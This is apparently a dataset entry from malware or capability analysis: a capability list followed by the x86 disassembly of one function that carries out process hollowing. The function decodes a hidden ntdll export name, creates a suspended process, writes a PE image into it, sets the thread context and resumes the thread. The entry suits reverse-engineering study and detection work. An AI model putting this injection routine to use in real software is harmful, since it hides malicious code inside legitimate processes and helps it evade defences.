Function at 0x47e2a0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Parse pe header
Resume thread
Terminate process
Use process replacement

Disassembly:
mov eax, 0x6ca4ba
call fcn.006b9c3c
sub esp, 0x214
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x18], ecx
xor ebx, ebx
mov dword [ebp - 4], ebx
mov byte [ebp - 4], 1
mov dword [ebp - 0x64], ebx
mov dword [ebp - 0x60], ebx
mov byte [ebp - 4], 2
mov edi, ebx
mov dword [ebp - 0x1c], edi
push fcn.004a635f
push 0x4a6449
push 6
push 0x18
lea eax, [ebp - 0x170]
push eax
call fcn.0068a1f9
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x58]
call fcn.00477584
mov byte [ebp - 4], 4
push eax
lea ecx, [ebp - 0x170]
call fcn.004a638e
mov byte [ebp - 4], 3
push ebx
push 1
lea ecx, [ebp - 0x58]
call fcn.004ab703
push 8
pop edx
lea ecx, [ebp - 0x7c]
call fcn.0044e381
mov byte [ebp - 4], 5
push str..exe
mov edx, eax
lea ecx, [ebp - 0xc4]
call fcn.0041cdde
pop ecx
mov byte [ebp - 4], 6
mov edx, eax
lea ecx, [ebp - 0xac]
call fcn.00461060
mov esi, eax
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x94]
call fcn.0046073e
mov byte [ebp - 4], 8
push esi
mov edx, eax
lea ecx, [ebp - 0x58]
call fcn.004b0769
pop ecx
mov byte [ebp - 4], 9
push eax
lea ecx, [ebp - 0x158]
call fcn.004a638e
mov byte [ebp - 4], 8
push ebx
xor esi, esi
inc esi
push esi
lea ecx, [ebp - 0x58]
call fcn.004ab703
mov byte [ebp - 4], 7
push ebx
push esi
lea ecx, [ebp - 0x94]
call fcn.004ab703
mov byte [ebp - 4], 6
push ebx
push esi
lea ecx, [ebp - 0xac]
call fcn.004ab703
mov byte [ebp - 4], 5
push ebx
push esi
lea ecx, [ebp - 0xc4]
call fcn.00411bc8
mov byte [ebp - 4], 3
push ebx
push esi
lea ecx, [ebp - 0x7c]
call fcn.00411bc8
cmp byte [0x7a00f3], bl
jne 0x47e3dc
cmp dword [ebp + 8], ebx
je 0x47e3e2
xor edi, edi
inc edi
mov dword [ebp - 0x1c], edi
cmp edi, 1
jle 0x47e431
mov byte [ebp - 4], 2
push fcn.004a635f
push 6
push 0x18
lea eax, [ebp - 0x170]
push eax
call fcn.00689e62
mov byte [ebp - 4], 1
test ebx, ebx
je 0x47e40f
mov ecx, ebx
call fcn.0040f5b8
or dword [ebp - 4], 0xffffffff
push ebx
push 1
lea ecx, [ebp + 0xc]
call fcn.004ab703
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
jne 0x47e4d2
push 0x78fefc
lea ecx, [ebp - 0x58]
call fcn.00411add
mov byte [ebp - 4], 0xa
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x20], esp
lea eax, [ebp - 0x58]
push eax
call fcn.00411add
mov byte [ebp - 4], 0xb
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x7c]
call fcn.004609f6
add esp, 0x18
mov byte [ebp - 4], 0xc
push eax
lea ecx, [ebp - 0x58]
call fcn.0041b490
mov byte [ebp - 4], 0xa
push ebx
push 1
lea ecx, [ebp - 0x7c]
call fcn.00411bc8
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x20], esp
lea eax, [ebp - 0x58]
push eax
call fcn.00411add
mov byte [ebp - 4], 0xd
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x14], esp
lea eax, [ebp - 0x158]
push eax
call fcn.004a6481
mov byte [ebp - 4], 0xe
mov byte [ebp - 4], 0xa
xor cl, cl
call fcn.004734ee
add esp, 0x30
mov byte [ebp - 4], 3
push ebx
push 1
lea ecx, [ebp - 0x58]
call fcn.00411bc8
mov ecx, 0x5a4d
mov eax, dword [ebp - 0x18]
cmp word [eax], cx
jne 0x47e6bc
mov esi, dword [eax + 0x3c]
add esi, eax
cmp dword [esi], 0x4550
jne 0x47e6bc
push 0x44
push ebx
lea eax, [ebp - 0x1b8]
push eax
call fcn.005077d5
add esp, 0xc
push 0x10
push ebx
lea eax, [ebp - 0x34]
push eax
call fcn.005077d5
add esp, 0xc
lea ecx, [ebp + 0xc]
cmp dword [ebp + 0x20], 8
cmovae ecx, dword [ebp + 0xc]
imul eax, edi, 0x18
lea eax, [ebp + eax - 0x170]
cmp dword [eax + 0x14], 8
jb 0x47e532
mov eax, dword [eax]
lea edx, [ebp - 0x34]
push edx
lea edx, [ebp - 0x1b8]
push edx
push ebx
push ebx
push 0x8000004
push ebx
push ebx
push ebx
push ecx
push eax
call dword [sym.imp.KERNEL32.DLL_CreateProcessW]
test eax, eax
je 0x47e6bc
push 4
push 0x1000
push 4
push ebx
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov edi, eax
mov dword [ebp - 0x20], edi
mov dword [edi], 0x10007
push edi
push dword [ebp - 0x30]
call dword [sym.imp.KERNEL32.DLL_GetThreadContext]
test eax, eax
je 0x47e6bc
push ebx
push 4
lea eax, [ebp - 0x38]
push eax
mov eax, dword [edi + 0xa4]
add eax, 8
push eax
push dword [ebp - 0x34]
call dword [sym.imp.KERNEL32.DLL_ReadProcessMemory]
mov eax, dword [ebp - 0x38]
cmp eax, dword [esi + 0x34]
jne 0x47e60f
push ecx
lea ecx, [ebp - 0x220]
call fcn.00485dd5
mov dword [ebp - 0x14], eax
mov edi, ebx
mov dword [ebp - 0x3c], edi
cmp edi, 0x14
jae 0x47e5de
push 0x3f
pop ecx
sub ecx, dword [eax + edi*4 + 0x18]
imul eax, ecx, 0x17
cdq
push 0x7f
pop ecx
idiv ecx
lea eax, [ecx + edx]
cdq
idiv ecx
mov eax, dword [ebp - 0x14]
mov byte [eax + edi], dl
inc edi
jmp 0x47e5b7
mov byte [eax + 0x14], bl
push eax
push str.ntdll.dll
lea ecx, [ebp - 0xdc]
call fcn.00492ea8
mov ecx, eax
call fcn.00492e76
push eax
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push dword [ebp - 0x38]
push dword [ebp - 0x34]
call eax
push 0x40
push 0x3000
push dword [esi + 0x50]
push dword [esi + 0x34]
push dword [ebp - 0x34]
call dword [sym.imp.KERNEL32.DLL_VirtualAllocEx]
mov dword [ebp - 0x14], eax
push ebx
test eax, eax
je 0x47e713
push dword [esi + 0x54]
mov ecx, dword [ebp - 0x18]
push ecx
push eax
push dword [ebp - 0x34]
call dword [sym.imp.KERNEL32.DLL_WriteProcessMemory]
mov edi, ebx
mov dword [ebp - 0x40], edi
movzx eax, word [esi + 6]
push ebx
cmp edi, eax
jge 0x47e681
imul ecx, edi, 0x28
mov edx, dword [ebp - 0x18]
add ecx, dword [edx + 0x3c]
push dword [ecx + edx + 0x108]
mov eax, dword [ecx + edx + 0x10c]
add eax, edx
push eax
mov eax, dword [ecx + edx + 0x104]
add eax, dword [ebp - 0x14]
push eax
push dword [ebp - 0x34]
call dword [sym.imp.KERNEL32.DLL_WriteProcessMemory]
inc edi
jmp 0x47e644
push 4
lea eax, [esi + 0x34]
push eax
mov edi, dword [ebp - 0x20]
mov eax, dword [edi + 0xa4]
add eax, 8
push eax
push dword [ebp - 0x34]
call dword [sym.imp.KERNEL32.DLL_WriteProcessMemory]
mov eax, dword [esi + 0x28]
add eax, dword [ebp - 0x14]
mov dword [edi + 0xb0], eax
push edi
push dword [ebp - 0x30]
call dword [sym.imp.KERNEL32.DLL_SetThreadContext]
push dword [ebp - 0x30]
call dword [sym.imp.KERNEL32.DLL_ResumeThread]
push 0x8000
push 4
push ebx
call dword [sym.imp.KERNEL32.DLL_VirtualFree]
mov esi, dword [ebp - 0x2c]
cmp dword [ebp - 0x24], 0
cmove esi, dword [ebp - 0x34]
mov byte [ebp - 4], 2
push fcn.004a635f
push 6
push 0x18
lea eax, [ebp - 0x170]
push eax
call fcn.00689e62
mov byte [ebp - 4], 1
test ebx, ebx
je 0x47e6fd
mov ecx, ebx
call fcn.0040f5b8
or dword [ebp - 4], 0xffffffff
push ebx
push 1
lea ecx, [ebp + 0xc]
call fcn.004ab703
mov eax, esi
jmp 0x47e420
push dword [ebp - 0x34]
call dword [sym.imp.KERNEL32.DLL_TerminateProcess]
mov edi, dword [ebp - 0x1c]
inc edi
jmp 0x47e3df